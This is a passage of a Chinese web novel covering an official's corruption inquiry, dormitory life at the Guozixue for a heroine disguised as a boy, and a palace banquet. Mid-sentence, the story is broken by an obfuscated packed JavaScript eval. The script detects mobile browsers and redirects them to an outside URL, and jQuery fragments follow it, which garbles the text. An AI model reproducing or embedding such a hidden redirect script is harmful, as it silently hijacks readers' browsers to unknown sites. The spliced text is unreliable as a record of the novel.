“多谢几位小友盛情,只是在下不愿离开。因为在这里,我有更重要的事情要做。”这时,他抬头看了看门窗,压低声音说,“我有查到窦府尹除了封锁受灾消息,瞒报受灾人数和范围,还将官府平仓义仓中的粮食拿来与本地乡绅一同出卖,获得高价。而且我刚来之时,在城外,看到河堤修建得有问题,便提议让加固,并未得到重视。果然此次被冲垮,洛阳城附近村镇禁伐区却树木所剩无几,这也影响了这些区域抵御洪水的能力。而那些被砍伐的树木正是为了修建窦府尹的别院和私宅。想必诸如此类的贪渎之事还有很多,我想继续留在这,查清这些事,同时也给百姓做些实事,虽然这窦府尹很是荒唐,但他总是需要人来做事情的。我可以做事,那在这里暂时应该还是安全的。而且,这么一个大蠹虫,要扳倒他,也需要证据不是吗?”
裴逍几人心中感触,一道向徐清恭敬揖了一礼。他们知道这是徐清的选择,多劝无益,只能道声“保重。”
行过礼,几人待要离开,林致远突然开口问道,“徐大人,我见那知府指责您,说您是凌风敖一党。恕学生冒昧,可否问下,您与凌风敖是有什么关系吗?”
“原来你们听到了啊。”徐清应道,“我与凌风敖是同科进士,关系很好。不过后来风敖出了事,我也因此受牵连,流放了几年,最近几年才重新回到仕途,娶了亲,有了孩子。”
“原来是这样。”林致远道,“那您相信凌风敖十三年前曾与狄族勾结,害了全城百姓吗?”
徐清叹了口气,沉默了片刻,方才继续说道,“我给你们讲讲我知道的凌风敖吧。”
“他生于北境寰州城,虽是个书生,却最欣赏曾率军收复燕云十六州的将军百里名扬。”
“他最喜欢边塞诗,‘青海长云暗雪山,孤城遥望玉门关,黄沙百战穿金甲,不破楼兰终不还’。历朝历代的边塞军旅诗他都倒背如流。”
“他家祖上本就与谢渊谢大人家订有婚约,但后来家道中落,他入京科考,却也不曾找谢大人投奔或要求履约,还是谢大人当时任考官之一,欣赏其文章,邀见后才得知其是故人之子。即便如此,他也没要求谢大人履约,将女儿嫁他。反而是谢大人千金因此对他上了心,后来两人彼此心悦才成了婚。并非像世人传言的那样,凌风敖挟旧恩要求谢大人将女儿嫁给他的。”
“凌风敖在进士及第后,他本可以有更多更好的为官选择,但他却选择回了边境苦寒的寰州城。谢小姐千里跟随。连忠国公府的二公子百里铭也心甘情愿地跟着他选了到寰州城领兵历练。”
“那件事后,举国皆说他通敌,我也不知该不该信他。”
“我常常想,如果他原本就是狄族细作,为什么不选择留在京城去做更核心更大的官位?而如果他是后来才与狄族搭上关系,那他又是什么时候变了?”
“我实在想不出答案,我们各自任职后,也时有通信,我没有感受到任何他思想的转变。我不知是他掩饰得太好,还是我太迟钝。但我真的没有察觉到任何他的变化。”
“官场沉浮浸润,保守不了初心的人太多太多,但是,也还是会有些人,身处浊泥之中而始终不改初心,就像巩县县令赵坦,我也不敢肯定他会冒着得罪上官的风险而来,但他还是来了。”
“所以,我还是愿意相信,风敖一直都是当年喜欢吟着‘黄沙百战穿金甲,不破楼兰终不还’的那人。”
72. 第72章
八月初二一早,裴逍和祁青阳打开小院门,便看到温国公府和忠国公府的马车停在门口,百里摇光长身玉立,正站在忠国公府的马车外等着。
他们几日前就回了京。一路由人马护卫,平安无事地回了京。
“早啊,两位。”祁青阳打招呼道。
百里摇光笑着走近,接过裴逍和祁青阳手中的行李,放到了马车上。
几人正要上马车,温国公府的马车帘子突然被掀起,姜飒尚有些睡眼惺忪,开口道,“阿逍,你来我的马车上坐嘛,我的马车宽。”
“你多睡会吧。他们都坐我府上的马车。”百里摇光不待姜飒多说,将裴逍和祁青阳都拉上了忠国公府的马车。
姜飒见此,也不好争执什么,命随从跟着忠国公府的马车往国子学行去。
三人到了国子学门口,虽然时间还早,但已有不少来送学子入学的车马了。他们卸下行李物品,裴逍、祁青阳和百里摇光自带着物品,姜飒家仆从几人跟在后,带着姜飒的物品,比起几个月前,已经少了很多了,但跟裴逍他们三人那点行李比起来,还是多很多。
三人刚进了国子学的大门,见其中张贴了大榜,写的是所有学子的斋舍安排。学子斋舍全部调整成了八人一间。他们在其中逡巡找自己名字。
“我们都在一间。”百里摇光眼神好,当先说道。
姜飒急忙问道,“在哪在哪,我还没看到。”
裴逍也看到了,指给姜飒,姜飒顺着所指方向看到,“明志斋丙舍:夏慕卿、百里摇光、祁青阳、裴逍、姜飒、霍琰、贺麟。”
“霍琰不是太学的吗?怎么会跟咱们分到一间啊?”姜飒疑惑说道。
裴逍摇了摇头,百里摇光倒是一脸高兴,“真是那个霍琰的话,那挺好。”
姜飒指着一个陌生的名字问道,“还有那个贺麟是谁啊,完全不认识。”
“去看看便知道了。”百里摇光说完,三人往斋舍方向而去。
一路上他们见斋舍区域变化非常大,原先的一个一个的院落被拆除了,形成了一个统一排列齐整的大院。其中每排列有十间房舍,总共有六排。
他们按照门前所挂木牌,一路找到明志斋丙舍。
一进去,发现已经有两人在了。霍琰和一个少年正在最靠外侧的床铺处边铺床铺,边交谈着什么。
霍琰最先看到他们进来,停下与那少年的交谈,笑看着他们走近。那背对着裴逍他们的少年见此扭回头来。裴逍他们认出,竟是与太学进行蹴鞠比试时的那个黑脸少年。
“你就是贺麟?”姜飒走近那黑脸少年问道。
“没错,在下贺麟。”黑脸少年抱拳说道,露出一个友好灿烂的笑容,一口白牙在略黑肤色的映衬下显得更白了。
百里摇光看着对面的霍琰问道,“你们怎么来国子学了?”
“国子学新增了一些太学生入学的名额,我们就来了,还请诸位以后多多关照。”霍琰抱拳笑回道。
“有机会切磋切磋。”百里摇光一手拍向霍琰肩臂,爽朗说道。
祁青阳冲二人笑了笑,道了声,“欢迎加入国子学。”
裴逍没说什么,只点了点头,拱手见礼。随即她望向霍琰身后那一列大通铺,头疼起来。
姜飒早就注意到了裴逍的神情,当即走到大通铺的尽头,最靠里的那个床铺,回头对众人说,“让阿逍睡最里面吧,她睡眠不太好,里面更安静些。”
其他几人都没什么意见,裴逍见此,道了声“多谢”,旋即将自己的行李放到了那床铺上。
“我就睡阿逍旁边的这个位置啦,这样更有安全感。”姜飒很自然地吩咐随从进来给他铺床铺,说完又看着祁青阳道,“青阳,你睡我边上吧。”
祁青阳笑了笑,看向百里摇光。
百里摇光说道,“我都行,你们先选好了。”
祁青阳见此,走到姜飒旁边床铺整理起来。
百里摇光挨着祁青阳铺床铺,中间还有两个空位,最边上是霍琰和贺麟。
夏慕卿姗姗来迟,选了挨着百里摇光的铺位。他们这间斋舍只安排了七名学子,因此空出了一个铺位。
不多时,国子学钟声响起,他们一行七人,一同前去泮池广场参加入泮典礼。
典礼上,陆祭酒宣布了此次国子学的一系列改革措施,包括:改二人间为八人间,增加寒门学子名额,吸纳太学优秀学子,增加德行分占比,增加对书院中博士的考核,每班设置班师角色,关注学子日常情况。
书院中新设一位学官,来监管国子学诸事,有权给祭酒提意见,监督国子学教育工作,考察学生行为表现,有权对国子学学子进行处分等。
而新来的这位学官,正是裴逍他们此次东都游学,在汴梁府学见到的徐渭夫子。
斋舍区的沐浴房设置为了每排斋舍一间大沐浴房,几十多个学子共用。幸而现在裴逍在外面有租住的小院,便想尽量每旬回去沐浴,平时只在人都用完沐浴房后,进去擦洗一下手臂,清洗下脚。以免身份暴露。
现下已经渐渐入秋,天气不热了,几个少年也都穿了里衣,还好不至于让裴逍见到什么非礼勿视的画面。
夜间,众人都睡下,姜飒知道自己睡着了到处翻滚,睡相不好,便尽量靠着祁青阳那侧睡,裴逍则尽可能贴靠在墙边睡。这样在他们俩之间留下了比较大的一块空铺。
但姜飒睡着了以后,便不记得要往祁青阳那边靠了,来回翻滚,好在裴逍躲得远,而且虽然是大通铺,但是给每个人留的空间都很宽裕。是以,姜飒翻滚归翻滚,裴逍倒还不至于被殃及。
其他人睡相都不错,安安稳稳,也没有磨牙打呼的,是以略微习惯后,休息地都不错。
但裴逍心中却在忧虑,随着年岁长大,女子特征会更加明显,在这国子学中,人员众多,会越来越容易暴露。之前兰惜给她的药,确实有用,她至今尚未来癸水,胸部也未明显见长,但是时间长了,恐怕便难以抑制住。她更加需要小心行事。
次日醒来,斋舍里便只有夏慕卿、祁青阳、姜飒和裴逍了。
夏慕卿用柳条枝清理牙齿
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15804258|175084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,漱了口以后说道,“他们几个凑一起。一大早就练武去了。要不是还有你们三个,我都要以为自己不在国子学,而是在军营里了。”
祁青阳轻笑了一声,埋头整理起了自己的用物。
姜飒也醒了,起身站在床铺上背对着裴逍缓缓穿起外衣来,正挡住夏慕卿。裴逍趁此检查好自己的穿戴衣物,下了床。
这旬第三日午间,很多学子都收到了家中仆从转送进来的消息。姜飒他们也都收到了。
“西州回鹘使者入京了,明晚要在皇城给他们办接风宴。皇亲国戚,朝中重臣及亲眷都要参加。”夏慕卿道。
霍琰、贺麟并不需要参加,因为他们父亲官职并不高,裴逍和祁青阳就更不用参加了。
但姜飒盛情邀请了他们四人,“我们一同去吧,阿逍和青阳扮成我的随从,霍琰和贺麟扮成百里摇光的随从。”
裴逍四人担心给姜飒和百里摇光带来麻烦,本是拒绝去的,但在他们两人和夏慕卿的鼓动下,都答应去了。
皇城夜宴,皇上和皇后座次居正中,各设一席,皇上另一侧稍后,是几个妃嫔的坐席,有几位妃嫔已到了。
下首一侧坐了西州回鹘使者,再往后有朝中重臣及亲眷,另一侧是几位亲王,然后是国公等皇亲国戚重臣及亲眷。
姜飒盛装一番而来,很多人都已经到了。裴逍和祁青阳扮作随从跟在他身边。
百里摇光就坐姜飒旁边席位,霍琰和贺麟跟在他身后。百里摇光的父亲母亲也回了京,会同三叔三婶一起来参加宴会。
林清月刚一入座,一个宫女走来,恭敬与她道,“百里三夫人,林妃有请。”
林清月便随她去了。林妃是林清月的大姐,宫宴之时找妹妹去叙旧也很正常。
裴逍往侧前方看去,一个小少年正端坐在姜飒他们这一排最前面的位置,是林贤妃所出的大皇子。
夏慕卿、思卿跟着安王坐在这小少年旁边的位置。因为安王是亲王中最年长的一位。接着是京中纨绔的平王父子俩的位置,那平王还没来,夏清泽在席间正与虞砚他们说着话。
接着便是康王一派风雅地端坐几前,他没娶妻、没子嗣,是以身后只有仆从,并无亲眷。
对面坐在前列的便是西州回鹘使者了,裴逍见为首的两个位置空着,往后坐了一排几位回鹘之人,他们服装不同于大夏,眉眼浓重,五官深邃,除了现在坐最首的一位年纪比较大以外,其余几位皆是同他们年纪差不多的少年。那几位少年分外俊朗,尤其是那老人旁边的少年。
快开宴之时,回鹘使者位置上的首位落座了一位年轻男子,长相俊朗,服饰华丽,是他们的部落王子。第二个位置仍旧空着。
林清月已经回到了座位上,但不知为何,她的神情与初来时不同,似有些惊惶。台上的林贤妃也已入席,她看了下首端坐的大皇子,满意地点了点头,而后目光顺着往后看了看亲王、国戚亲眷等等。
裴逍不知是不是自己过于敏感,她感觉那林贤妃扫视看到平王与身后姬妾调笑时,神情似乎不太一样。